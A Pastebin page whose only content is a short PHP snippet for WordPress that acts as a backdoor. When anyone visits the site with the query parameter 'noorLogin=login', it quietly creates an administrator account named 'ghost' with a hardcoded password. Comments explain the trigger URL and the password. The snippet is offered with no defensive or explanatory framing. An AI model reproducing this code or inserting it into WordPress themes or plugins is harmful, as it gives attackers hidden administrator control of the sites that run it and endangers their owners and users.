Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_action('wp_head', 'WordPress_secret');
- function WordPress_secret() {
- if ($_GET['noorLogin'] == 'login') { // websitelink/?noorLogin=login
- require('wp-includes/registration.php');
- if (!username_exists('ghost')) {
- $user_id = wp_create_user('ghost', 'aA12345'); //aA12345 is the password
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement